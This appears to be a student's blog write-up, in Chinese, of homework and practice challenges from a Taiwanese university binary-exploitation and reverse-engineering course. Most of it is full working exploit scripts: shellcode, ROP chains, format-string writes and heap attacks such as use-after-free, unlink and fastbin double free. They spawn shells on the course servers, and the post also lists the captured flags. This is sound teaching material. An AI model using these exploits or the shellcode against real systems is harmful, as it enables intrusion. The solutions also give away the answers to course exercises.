前言 這堂課是台大、台科大、交大、中央(?聯合的資安課程 今年全上pwn跟reverse,跟前年不太一樣(前年還有教Web、Crypto…等) 這一篇文章主要放這門課作業和練習的Write up,記錄一下解法怕忘記
課程網站:https://csie.ctf.tw
[hw0] Pwn 1 0x400566有個callme()
裡頭就是system("/bin/sh")
overflow蓋return address跳過去即可get shell padding長度40
1
perl -e 'print "A"x40, "\x66\x05\x40\x00\x00\x00\x00\x00"'
1
FLAG{BuFFer_0V3Rflow_is_too_easy}
[hw0] Rev 1 在0x8048420有個print_flag()
用gdb跑,在main先下斷點,讓他停住 然後直接set $eip=0x8048420
跑printf_flag
[hw0] Rev 2 丟ida pro看一下 可發現它會把輸入的字串的每個字元都跟0xcc做XOR 然後結果會拿去跟某個字串做比較 比較相同會跳Congret 所以基本上就可以猜測,那個拿來跟輸入比較的字串就是XOR過的FLAG 直接整串每個字元拿去做XOR 0xcc即可還原FLAG
[hw0] BubbleSort 這題有個DarkSoul()
,裡頭是system("sh")
所以目標很明顯,想辦法讓程式流程跑到這即可 在輸入要sort幾個數字的地方,可以輸入有號整數 可以輸入負數! 但傳進BubbleSort後,卻被當成無號整數來處理 例如-125會變130
所以排序時,有可能把array以外的記憶體抓出來比較 構造一下就能把某個值排到stack上的特定位置
0x8048580 = 134514048 // DarkSoul()
讓這個位址排到return address的位址即可
payload:perl -e 'print "127\n","134514048 "x127,"\n","-125\n"'
FLAG{Bubble_sort_is_too_slow_and_this_question_is_too_easy}
[hw0] ret222 這題開了各種保護,但exit時用mprotect,把name附近權限開成可寫可執行
這題有兩個洞:
format string
buffer overflow
挖一下可發現,%23
的位址是canary
、%25
是return address
因為name buffer可執行,所以可以想辦法塞shellcode 但是有PIE的關係,要先leak code base算name的位址 觀察可發現,%24
是libc_csu_init的位址
所以leak它就能去算name位址
但buffer很小,可以用format string一個個塞shellcode進去 最後用gets把return address蓋成name位址即可
exploit:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
r = remote('csie.ctf.tw' , 10122 )
r.recvuntil('>' )
r.send('1\n' )
r.send('%23$p\n' )
r.recvuntil('>' )
r.send('2\n' )
r.recvuntil('Name:' )
canary = int(r.recvline()[:-20 ], 16 )
r.recvuntil('>' )
r.send('1\n' )
r.send('%24$p\n' )
r.recvuntil('>' )
r.send('2\n' )
r.recvuntil('Name:' )
name = int(r.recvline()[:-20 ], 16 ) - 0xd40 + 0x202020
sh = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
for i in range(0 , len(sh)):
r.recvuntil('>' )
r.send('3\n' )
r.recvuntil('Your data:' )
r.send(p64(name + 16 +i) + '\n' )
r.recvuntil('>' )
r.send('1\n' )
r.recvuntil('Your name:' )
r.send('%' +str(ord(sh[i]))+'c' +'%6$hhn\n' )
r.recvuntil('>' )
r.send('2\n' )
r.recvuntil('>' )
r.send('1\n' )
r.recvuntil('Your name:' )
r.send('\x90' *16 + '\n' )
r.recvuntil('>' )
r.send('3\n' )
r.recvuntil('Your data:' )
r.send("A" *136 + p64(canary) +"A" *8 + p64(name) + '\n' )
r.interactive()
FLAG{YOU_ARE_REALLY_SMART!!!!!!}
[practice] strings 直接strings就噴FLAG了strings ./strings-f83f44c269487fd909b2df1431bf65bb603e869b
FLAG{__flag_in_the_file}
[practice] strace 直接strace它,但要把output size改大一點,不然後半段看不到strace -s 10000 ./strace-b291608bfa48c94f508c35f7ab6ce46135b840a6
FLAG{____yaaaa_flag_in_the_stack___}
[practice] patching 把它那個值patch成0x23333即可,可以用hexedit之類的tool去patchFLAG{oa11TH80wfMEs6ZflBhGF4btUcS1Ds9y}
這題正規解法好像是用pwntool寫二分搜玩猜數字(? 我比較懶惰直接gdb跑,b main 再set $rip=0x400831
就會噴惹FLAG{h02Ooysbv4O5Lf1Fmdrt2QKts7buYz0J}
[hw1] hw1 這題觀察一下,可以發現它會對輸入字串做一些處理 它會把每個字元的ASCII值乘上(i+1 << (i+2) % 0xa) + 0x2333
最後把得到的值轉成4個char存進檔案中 整個加密是可逆的 整個反過來做就可以還原FLAG了
My script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <iostream>
#include <string>
#include <fstream>
using namespace std ;
int main () {
string s;
ifstream fin ("flag-ee94f5c9452a6db022db1e4f3a036b375b3ac472" ) ;
getline(fin, s);
for (int i = 0 ; i < 38 ; ++i) {
int sum = 0 ;
int a = (unsigned char )s[4 *i+2 ];
int b = (unsigned char )s[4 *i+1 ];
int c = (unsigned char )s[4 *i];
sum += a * 256 * 256 + b * 256 + c;
sum -= 9011 ;
char ch = sum / ((i + 1 ) << ((i + 2 ) % 0xa ));
cout << ch;
}
cout << endl ;
return 0 ;
}
FLAG{Iost4SXskSmu53CbCAI5e52FBJkj1JKl}
[practice] bof objdump -d -M intel ./bof 可以看到www (0x400686)
裡面直接call system 算一下buffer overflow padding = 40 就跳過去吧 payload:(perl -e 'print "a"x40, "\x86\x06\x40\x00\x00\x00\x00\x00\n"';cat) | nc csie.ctf.tw 10125
FLAG{vCa9cA1Gkp6BlV0ZrKIdHJlT8fabo6hE}
[practice] ret2sc 這題就是塞shellcode 然後buffer overflow跳過去run payload:(perl -e 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05","A"x321,"\x80\x10\x60\x00\x00\x00\x00\x00"';cat) | nc csie.ctf.tw 10126
FLAG{6EWQLMK1GDzMlV6vPFokzmtux4Fh42yJ}
[practice] ret2lib 塞puts的got位址給他 讓他幫我們leak出來算libc base (puts_got - puts_offset) 然後直接overflow call system (base + system offset) 拿shell
exploit:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
padding = 56
puts_pot = "0x601018"
puts_off = 0x6f690
sh_offset = 0x18cd17
r = remote('csie.ctf.tw' , 10127 )
r.send(puts_pot + "\n" )
r.recvuntil('content:' )
puts_addr = r.recvline()
print puts_addr
base = int(puts_addr, 16 ) - puts_off
print hex(base)
system_addr = base + 0x45390
rdi_ret = 0x400823
r.send("A" *padding + p64(rdi_ret) + p64(base + sh_offset) + p64(system_addr) + p64(system_addr) + "\n" )
r.interactive()
FLAG{O66cJwwT8lKl1oKhUG8DcwZxTSwnLaHu}
直接%x%x%x%x%x%x%x%x%x%x%x%x%x
就會噴出FLAG了,hex字串轉一下就行FLAG{__format_str_exploit_OUO}
[hw2] gothijack 這題name輸入時,不會被NULL截斷 但是在check的strlen
卻只會檢查到NULL以前 而且name buffer還可寫可執行 再加上這題提供我們任意寫入(Writesomething) 所以思路就很單純了 塞shellcode進name,最前頭塞\x00繞過檢查 之後再用任意寫入把puts got蓋成name buffer位址即可
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
r = remote('csie.ctf.tw' , 10129 )
r.recvuntil("What's your name :" )
r.send("\x00\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n" )
r.recvuntil("Where do you want to write :" )
r.send("0x601020\n" )
r.recvuntil("data :" )
r.send("\xa1\x10\x60\x00\x00\x00\x00\x00\n" )
r.interactive()
FLAG{G0THiJJack1NG}
[practice] simplerop_revenge 這題題目長這樣:
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <unistd.h>
int main () {
char buf[20 ];
puts ("ROP is easy is'nt it ?" );
printf ("Your input :" );
fflush(stdout );
read(0 ,buf,160 );
}
很明顯就是去overflow 然後串rop chain拿shell
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
pop_rdx = 0x4427e6
pop_rsi = 0x401577
pop_rdi = 0x401456
syscall = 0x4671b5
pop_rax_rdx_rbx = 0x478516
mov_drdi_rsi = 0x47a502
buf = 0x6c9a20
r = remote('csie.ctf.tw' , 10130 )
context.arch = "amd64"
payload = 'a' *40
rop = flat([pop_rdi, buf, pop_rsi, "/bin/sh\x00" , mov_drdi_rsi, pop_rsi, 0 , pop_rax_rdx_rbx, 0x3b , 0 , 0 , syscall])
payload += rop
r.sendline(payload)
r.interactive()
FLAG{TAKEMY_REVENGE}
[practice] ret2plt exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
puts_plt = 0x4004e0
puts_got = 0x601018
pop_rdi = 0x4006f3
puts_off = 0x6f690
system_off = 0x45390
sh_off = 0x18cd17
main = 0x400636
r = remote('csie.ctf.tw' , 10131 )
r.send('a' *40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + "\n" )
r.recvline()
a = r.recvline()
print a
b = u64(a.strip().ljust(8 , "\x00" ))
base = b - puts_off
system = system_off + base
print 'base:' , base
r.send('a' *40 + p64(pop_rdi) + p64(sh_off + base) + p64(system) + "\n" )
r.interactive()
FLAG{YOUCAN_RET_2_EVERYWHERE}
[practice] migr4ti0n 這題就是stack migration的練習 buffer太小時,用這招就可以無限串rop overflow時,蓋rbp,把stack搬到一個可寫的buffer繼續串
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
buf = 0x602000 - 0x200
buf2 = buf + 0x100
pop_rbp = 0x400558
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
pop_rdx = 0x4006d4
leave = 0x40064a
read = 0x4004e0
puts = 0x4004d8
puts_got = 0x600fd8
puts_off = 0x6f690
padding = 'a' * (56 - 8 )
r = remote('csie.ctf.tw' , 10132 )
r.send(padding + p64(buf) + p64(pop_rdi) + p64(0x00 ) + p64(pop_rsi_r15) + p64(buf) + p64(0x00 ) + p64(pop_rdx) + p64(0x100 ) + p64(read)+ p64(leave))
r.recvuntil(":" )
r.send(p64(buf2) + p64(pop_rdi) + p64(puts_got) + p64(puts) + p64(pop_rdi) + p64(0x0 ) + p64(pop_rsi_r15) + p64(buf2) + p64(0x0 ) + p64(pop_rdx) + p64(0x100 ) + p64(read) + p64(leave) + "\n" )
r.recvuntil("\n" )
addr = u64(r.recvuntil("\n" ).strip().ljust(8 , "\x00" ))
base = addr - puts_off
print addr
print base
system = base + 0x45390
r.send(p64(buf) + p64(pop_rdi) + p64(buf2+4 *8 ) + p64(system) + "/bin/sh\x00" + "\n" )
r.interactive()
FLAG{49796c31e88bf1c45fc21212693e07cd652296dd}
[practice] cr4ck 這題就是簡單的fmt任意讀練習 塞flag buffer的位址,然後用%7$s
去讀位址裡的值 64位元底下的位址,基本上都一定有NULL byte,所以通常都把位址塞最後 然後前面%7$s
之類的字串,不足8 bytes的要padding補滿
payload:
perl -e 'print "%7\$saaaa\xa0\x0b\x60\x00\x00\x00\x00\x00\n"' | nc csie.ctf.tw 10133
p.s. 在shell用perl送payload的時候,要記得用\跳脫$字號,不然會跟我一樣卡很久QQQQQ
FLAG{CRACKCR4CKCRaCK}
[practice] craxme 就是個簡單的format string任意寫入的練習 把magic整個蓋成0xda
即可 注意的地方就只有padding要算好
exploit:
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
magic = 0x60106c
r = remote('csie.ctf.tw' , 10134 )
r.sendline("%218c%8$naaaaaaa" + p64(magic))
r.interactive()
FLAG{JUST CRAXME!@_@}
[practice] craxme - 2 這題跟上一題大同小異,就只是蓋的數字比較大 一口氣蓋的話,IO會跑很久炸掉 這裡我分兩次蓋,一次蓋2 bytes
exploit:
1
2
3
4
5
6
7
8
9
from pwn import *
magic = 0x60106c
r = remote('csie.ctf.tw' , 10134 )
r.sendline("%45068c%10$hn%19138c%11$hn......" + p64(magic) + p64(magic+2 ))
r.interactive()
FLAG{this is the second flag!!!! >_<}
[practice] craxme - 3 這題雖然跟前兩題一樣服務 但解法不太一樣,這題要拿shell才行
方法就是把puts got,蓋成main裡read那邊的位址 之後再把printf got,蓋成system got 最後read讀/bin/sh\x00
,會被當作system參數 就get shell惹
比較麻煩的地方是,如果是用我下面那種寫法 要準確算好要寫幾個bytes,然後前面輸出了幾個bytes要搞清楚 不然寫到後面會有點亂
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r = remote('csie.ctf.tw' , 10134 )
print_got = 0x601030
puts_got = 0x601018
r.sendline("%13$n%64c%14$hn%15$n%1376c%16$hn%423c%17$hnaaaaaaaaaaaaa" + p64(print_got + 4 ) + p64(print_got + 2 ) + p64(puts_got + 2 ) + p64(print_got) + p64(puts_got) + "/bin/sh\x00" )
r.send("cat /home/craxme/S3cretflag\n" )
r.interactive()
FLAG{YOUF0UNDtheSECRETFL4G!?}
[hw3] readme 這題,它overflow剛好可以蓋到return address 看起來沒啥能利用的東西,串ROP又太短 但仔細觀察會發現,read
讀的是從rbp-0x20
開始讀 並且讀完之後,接著做的就是leave和ret 那就可以做stack migration(聽說正確名稱叫stack pivoting
..)
就是蓋掉RBP之後,把return address蓋成main裡面的read那邊 這樣他就會把read讀到的東西,塞到我們指定的位址(rbp-0x20
)裡面了(任意寫入!) 之後read完,做leave ret
,就會把stack frame搬過去
而且read一樣可以讀48 bytes,一樣可以再蓋掉rbp和return address 就能無限寫入ROP chain
這邊我在做的時候遇到一個障礙,卡非常久 就是寫rop chain時,如果寫完一塊buffer 要再寫另一段rop chain,直接接在剛剛那塊後面 就會炸掉QQ
一開始完全想不通這樣哪邊會炸 追了一下才發現,read時,會蓋掉我們當前stack frame的返回位址 所以read裡面return時,就會跳到錯誤的位址QQ 詳細爆炸過程可以參考這個連結:https://drive.google.com/file/d/0B0u00oV7NdOiS19pNmczaEFhdFE/view?usp=sharing
最後其中一個解決方法就是,再找一個buffer寫 可以跳過去之後,再回來接著寫,就不會炸了
然後因為沒有libc base 所以仔細觀察一下,發現read got跟write got其實只差最後1 byte 直接把read蓋成write 然後構造gadget,讓write去leak出write got entry的值 就能算libc base了
因為read被改掉了 可是我們接著還要繼續串rop 所以要先跳回去resolve read,還原read got
之後有了base之後就可以構造system("/bin/sh")
或是直接跳one gadget
拿shell
不過聽說這題有很多很多種解法 上課提示的好像是利用syscall 然後似乎也可以用撞的方式拿shell 要leak base的話,真的很麻煩=.=
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
buf = 0x601048
buf2 = 0x601700
bufx = 0x601c00
pop_rbp = 0x400560
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
leave = 0x400646
read_plt = 0x4004c0
read_got = 0x601020
read = 0x40062b
read_res = 0x4004c6
nop = 0x90
padding = 'a' * (40 - 8 )
r = remote('140.112.31.96' , 10135 )
context.arch = "amd64"
r.send(padding + p64(buf + 32 ) + p64(read))
r.send(p64(pop_rdi) + p64(0x1 ) + p64(read_plt) + p64(pop_rbp) + p64(bufx + 32 ) + p64(read))
r.send(p64(0x1bd2 ) * 4 + p64(buf + 64 ) + p64(read))
r.send(p64(buf2) + p64(leave) + p64(0 ) * 2 + p64(bufx + 32 ) + p64(read))
r.send(p64(0x1bd2 ) * 4 + p64(buf2 + 32 ) + p64(read))
r.send(p64(bufx+0x20 ) + p64(pop_rsi_r15) + p64(bufx) + p64(0 ) + p64(bufx + 32 ) + p64(read))
r.send(p64(0x1bd2 ) * 4 + p64(buf2 + 64 ) + p64(read))
r.send(p64(pop_rdi) + p64(0 ) + p64(read_res) + p64(leave) + p64(bufx + 32 ) + p64(read))
r.send(p64(0x1bd2 ) * 4 + p64(read_got + 0x20 ) + p64(read))
r.send("\x80" )
r.recvuntil(":" )
a = u64(r.recv()[:8 ])
print hex(a)
write_off = 0xf7280
base = a - write_off
one_gadget = 0x4526a
r.send(p64(pop_rdi) + p64(0x1 ) + p64(read_plt) + p64(pop_rbp) + p64(read_got + 0x20 ) + p64(read))
r.send(p64(one_gadget+ base))
sleep(1 )
r.sendline("cat /home/readme/flag\nls\n" )
print r.recv()
FLAG{CAN_YOU_R34D_MY_M1ND?}
[hw4] fmtfun4u 這題原本是有限次數的做printf 可以去修改stack中i的值,來達到無限次printf 利用%11
和%37
的位址,可以對stack中的位址做間接寫入 而libc_start_main+245
也在stack上,能被拿來leak libc base
最後一步,我們要控RIP 觀察、跟GDB,可以發現printf裡面會call vprintf_internal
透過改寫他的return address,就能控RIP 但是一樣有個問題,一次寫太多bytes,I/O會炸掉 而且不能分次寫入,因為如果分次寫,到下一次寫前會call printf 就先Segmentation Fault了
這裡可以利用將返回位址改寫成ret
的gadget (沒錯,ret gadget剛好只有低位bytes跟原本return address不同) 再將真正要跳的位址(one gadget),放在stack中return address的下一個位址 這樣我們vprintf返回時,會跳到ret gadget 然後再跳到我們one gadget的位址 就拿到shell了
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
r = remote('csie.ctf.tw' , 10136 )
r.recvuntil(":" )
r.send("%6$p\n" )
addr = r.recvline()
stk_base = int(addr,16 ) - (14 * 16 )
r.recvuntil(":" )
r.send("%" + str((stk_base - 4 ) % 0x10000 ) + "c%11$hn\n" )
r.recvuntil(":" )
r.send("%30c%37$hhn\n" )
r.recvuntil(":" )
r.send("%9$p\n" )
addr = r.recvline()
print addr
base = int(addr,16 ) - 245 - 0x20740
one_gadget = 0x4526a + base
print "one gadget:" , hex(one_gadget)
r.recvuntil(":" )
r.send("%16$p\n" )
addr = r.recvline()
print addr
code_base = int(addr, 16 ) - 0x830
puts_got = code_base + 0x200fb0
libc_got = code_base + 0x200fa0
print hex(one_gadget)
print hex((one_gadget) % 0x10000 )
print hex((one_gadget / 0x10000 ) % 0x10000 )
print hex((one_gadget / 0x100000000 ) % 0x10000 )
r.recvuntil(":" )
r.send("%" + str((stk_base - 0x10 ) % 0x10000 ) +"c%11$hn\n" )
r.recvuntil(":" )
r.send("%" + str((one_gadget) % 0x10000 ) +"c%37$hn\n" )
r.recvuntil(":" )
r.send("%" + str((stk_base - 0x10 + 2 ) % 0x10000 ) +"c%11$hn\n" )
r.recvuntil(":" )
r.send("%" + str((one_gadget / 0x10000 ) % 0x10000 ) +"c%37$hn\n" )
r.recvuntil(":" )
r.send("%" + str((stk_base - 0x10 + 4 ) % 0x10000 ) +"c%11$hn\n" )
r.recvuntil(":" )
r.send("%" + str((one_gadget / 0x100000000 ) % 0x10000 ) +"c%37$hn\n" )
r.recvuntil(":" )
r.send("%" + str((stk_base - 0x10 + 6 ) % 0x10000 ) +"c%11$hn\n" )
r.recvuntil(":" )
r.send("%" + str((stk_base - 0x18 ) % 0x10000 ) +"c%11$hn\n" )
pause()
r.recvuntil(":" )
r.send("%" + str((code_base + 0x7c1 ) % 0x10000 ) +"c%37$hn\n" )
r.interactive()
FLAG{FEED_MY_TURTLE}
[practice] hacknote 這是我人生第一道heap題… 前年沒學heap,第一次搞花不少時間搞懂heap機制QQ
這題在考UAF 漏洞就是free(notelist[idx]);
free完沒設成NULL
目標是note裡面的printnote
這個function pointer 方法是做兩次add_note,然後分別free掉 最後再add_note,content size設跟note structure一樣大 這時note會被malloc到我們二個free掉的note 然後content會被malloc到第一個free掉的note 我們就可以藉由輸入content內容去控rip惹
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
r = remote('csie.ctf.tw' , 10137 )
magic = 0x400c23
def add_note (size, content) :
r.recvuntil(":" )
r.sendline("1" )
r.recvuntil(":" )
r.sendline(str(size))
r.recvuntil(":" )
r.sendline(content)
def del_note (idx) :
r.recvuntil(":" )
r.sendline("2" )
r.recvuntil(":" )
r.sendline(str(idx))
def print_note (idx) :
r.recvuntil(":" )
r.sendline("3" )
r.recvuntil(":" )
r.sendline(str(idx))
add_note(0x52 , "kai" )
add_note(0x78 , "bro" )
del_note(0 )
del_note(1 )
add_note(16 , p64(magic))
print_note(0 )
r.interactive()
FLAG{YOUSHOULDTAKEnote~}
[hw4] hacknote2 這題跟hacknote1
的洞一樣 只是call system被拔掉
我們可以先leak got算libc base 有base就可以算one gadget位址 之後直接跳過去one gadget就能拿shell了
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
r = remote('csie.ctf.tw' , 10139 )
print_note_fun = 0x400886
puts_got = 0x602028
def add_note (size, content) :
r.recvuntil(":" )
r.sendline("1" )
r.recvuntil(":" )
r.sendline(str(size))
r.recvuntil(":" )
r.sendline(content)
def del_note (idx) :
r.recvuntil(":" )
r.sendline("2" )
r.recvuntil(":" )
r.sendline(str(idx))
def print_note (idx) :
r.recvuntil(":" )
r.sendline("3" )
r.recvuntil(":" )
r.sendline(str(idx))
add_note(0x52 , "dada" )
add_note(0x78 , "dada" )
del_note(0 )
del_note(1 )
add_note(16 , p64(print_note_fun) + p64(puts_got))
print_note(0 )
r.recvuntil(":" )
tmp = r.recvline()
addr = u64(tmp[:-1 ].ljust(8 ,"\x00" ))
print hex(addr)
base = addr - 0x6f690
one_gadget = base + 0xf0274
del_note(2 )
add_note(16 , p64(one_gadget))
print_note(0 )
r.interactive()
FLAG{DEATHNOTE!!!!}
[practice] bamboofox1 這題是考The house of force 看投影片看好久,size一直算錯,try了幾次之後才大概弄懂…
一開始會malloc bamboo:bamboo = malloc(sizeof(struct box));
結束時,會call bamboo->goodbye_message();
所以就是想辦法hijack掉goodbye_message()
然後這題的change_item,不會檢查有沒超過原本長度 所以可以heap overflow
我們就先新增一個chunk,然後change它 length就設比原本的chunk長0x10,就可以剛好蓋到top chunk的size 把top chunk的size蓋成0xffffffffffffffffff
然後再malloc一個chunk,把top搬到我們要蓋的那塊chunk (這邊length可以塞負的值,這邊要小心別算錯…)
之後就malloc一塊,去蓋goodbye_message,蓋成magic
最後exit,就會噴FLAG惹
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
r = remote('csie.ctf.tw' , 10138 )
target = 0x400d49
big = 0xffffffffffffffff
def add_item (length, content) :
r.recvuntil(":" )
r.sendline("2" )
r.recvuntil(":" )
r.sendline(str(length))
r.recvuntil(":" )
r.sendline(content)
def edit_item (index, length, content) :
r.recvuntil(":" )
r.sendline("3" )
r.recvuntil(":" )
r.sendline(str(index))
r.recvuntil(":" )
r.sendline(str(length))
r.recvuntil(":" )
r.sendline(content)
add_item(64 , "abc" )
edit_item(0 , 80 , "A" *64 + p64(0 ) + p64(big))
add_item(-128 , "kai" )
add_item(32 , p64(target) * 2 )
r.interactive()
[practice] bamboobox2 觀察一下,可以發現在change_item()
裡面有個漏洞
當新的size比舊的size大,就能heap overflow
所以可以新增三個item
然後修改第二塊,設一個比原本大的長度去overflow,偽造一塊chunk
原本的layout:
chunk2_prev_size + chunk2_size + data + chunk3_prev_size + chunk3_size
修改data
,構造偽造的chunk,並overflow蓋到下一塊的header:
chunk2_prev_size + chunk2_size + fake_prev_size + fake_size + fake_fd + fake_bk + padding + fake_prev_size2 + fake_size2
其中原本指向第二塊的指標假設叫r
則為了在unlink時滿足檢查機制
fake_fd
必須設為&r-0x18
(&r - 0x18 + 0x18 = r
)
fake_bk
必須設為&r-0x10
(&r - 0x10 + 0x10 = r
)
chunk size
必須等於next chunk的prev_size
(fake_size == fake_prev_size2
)
做完以上事情之後,只要remove第三塊觸發第二塊的unlink,就能把r
指到&r - 0x18
(BSS段)
&r - 0x18
指到的是itemlist
的第一個item
接著可以對這個item寫入got位址(寫到name),再透過show()
把這個got內容印出來(可以算libc base)
最後再change第一個item一次,可以把got內容寫成system
之類的,就能getshell
script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
r = remote('localhost' , 5278 )
def show () :
r.recvuntil(':' )
r.sendline('1' )
def add (length, name) :
r.recvuntil(':' )
r.sendline('2' )
r.recvuntil(':' )
r.sendline(str(length))
r.recvuntil(':' )
r.sendline(name)
def change (idx, length, name) :
r.recvuntil(':' )
r.sendline('3' )
r.recvuntil(':' )
r.sendline(str(idx))
r.recvuntil(':' )
r.sendline(str(length))
r.recvuntil(':' )
r.sendline(name)
def remove (idx) :
r.recvuntil(':' )
r.sendline('4' )
r.recvuntil(':' )
r.sendline(str(idx))
add(0x80 , "a" )
add(0x80 , "a" )
add(0x80 , "a" )
rr = 0x6020d8
atoi_got = 0x602068
atoi_off = 0x36e80
system_off = 0x45390
chunk = p64(0x90 ) + p64(0x81 )
chunk += p64(rr - 0x18 ) + p64(rr - 0x10 )
chunk += "A" *0x60
chunk += p64(0x80 ) + p64(0x90 )
change(1 , 0x100 , chunk)
remove(2 )
change(1 ,0x100 ,p64(0 )+p64(atoi_got))
show()
r.recvuntil('0 : ' )
libc = u64(r.recvuntil('1' )[:-1 ].ljust(8 ,"\x00" )) - atoi_off
print "libc:" ,hex(libc)
change(0 , 0x100 , p64(libc+system_off))
r.interactive()
[hw4] profile_manager 我廢,還沒解出來QQ 最近專心搞Web,有空再研究
[hw5] 先跳過 看到heap就頭痛 有空再玩
[hw6] break 這題可以發現0x601080
藏著一串看起來很神祕的字串
87%就是FLAG加密過的樣子
瞧一下他怎麼加密的
發現他會在index=0,2,4,....
時,和0x01
做XOR
然後在index=1,3,5....
時,去和"Temporal Reverse Engineering"
對應字元做XOR
至於0x40066d這個call,應該是拿來混淆用的(?,用不到
逆著解就能拿到FLAG惹
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <iostream>
#include <string>
using namespace std ;
int main ()
{
ios_base::sync_with_stdio(0 );
string t = "Temporal Reverse Engineering" ;
string s = "\x42\x01\x47\x15\x51\x19\x6F\x23\x45\x79\x40\x08\x48\x08\x75\x11\x73\x47\x60\x0c\x64\x0c\x6e\x14\x42\x06\x72\x1b\x6e\x38\x68\x14\x60\x12\x6d\x07\x45\x44\x63\x13\x66\x01\x68\x1a\x66\x56\x68\x1b\x69\x2e\x78\x08\x60\x1e\x68\x0c\x48\x3b\x72\x1a\x73\x05\x6c\x07\x6f\x55\x60\x12\x68\x09\x6f\x09" ;
for (int i = 0 ; i < s.size() - 1 ; i += 2 ) {
s[i] ^= 0x01 ;
s[i + 1 ] ^= (t[ i % t.size()] + 1 );
}
cout << s << endl ;
return 0 ;
}
CTF{PinADXAnInterfaceforCustomizableDebuggingwithDynamicInstrumentation}
[practice] calc 用ida看,可以發現他會經過一連串的比較之後
才會噴出像FLAG的東西
這一串比較的東西,對應的字串就是3133731337.31337
所以其實只要在小算盤上,輸入這一串
就會噴FLAG惹
flag{31337_is_so_l33t}
[practice] shuffle 這題打開來是一堆按鈕
按鈕上面的文字很明顯是FLAG
但是被打亂惹
重開程式,會發現排序也變惹
所以可猜測,這支程式會把FLAG塞進button
然後random打亂順序
我的解法:
打開Ollydbg的Windows視窗
可以看到每個按鈕的ID
照著ID大小排下來,就是原先FLAG的順序惹
FLAG{N0w_u_s3e_m3}
[practice] babyfast 這題是fastbin corruption的練習題
fastbin corruption基本上就是
fastbin chunk在free的時候,只會檢查對應大小的fastbin上
有沒有要free的這一塊,有的話就代表double free然後abort
所以只要不讓他在fastbin的第一塊,就能夠繞過檢查,達到Double Free
例如:
malloc
兩塊同大小的chunk:A, B
然後free(A)
,再free(B)
這時候fastbin中大概長這樣:B -> A
這時候再free(A)
,就變成: A -> B -> A
然後A的fd因為指到B,所以實際上就變成circular linked list
如果這時候malloc(A)出來,那麼就有機會改掉A的fd
變成:B -> A -> 任意位址
以這題來說的話,我們就可以讓A的fd指到我們要偽造的chunk
我們讓他指到0x601ffa
,那他size對應到的就是0x60 (他這邊size只檢查4個byte,超過的會忽略)
因為size是0x60,所以allocate的時候要指定0x50
然後就剛好可以去蓋掉free的GOT
,蓋成system
(這題保護是Partial RELO
,所以GOT可改)
這樣我們只要把"/bin/sh\x00"
餵給free當參數,就能拿shell惹
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
r = remote("csie.ctf.tw" , 10142 )
def allocate (size, data) :
r.recvuntil(":" )
r.sendline("1" )
r.recvuntil(":" )
r.sendline(str(size))
r.recvuntil(":" )
r.sendline(data)
def free (idx) :
r.recvuntil(":" )
r.sendline("2" )
r.recvuntil(":" )
r.sendline(str(idx))
allocate(0x50 , "kaibro" )
allocate(0x50 , "kaibro" )
allocate(0x50 , "kaibro" )
free(0 )
free(1 )
free(0 )
fake_chunk = 0x601ffa
allocate(0x50 , p64(fake_chunk))
allocate(0x50 , "/bin/sh\x00" )
allocate(0x50 , "kaibro" )
system = 0x4007d0
allocate(0x50 , "a" * 0xe + p64(system))
free(4 )
r.interactive()
FLAG{FASTER~~~~}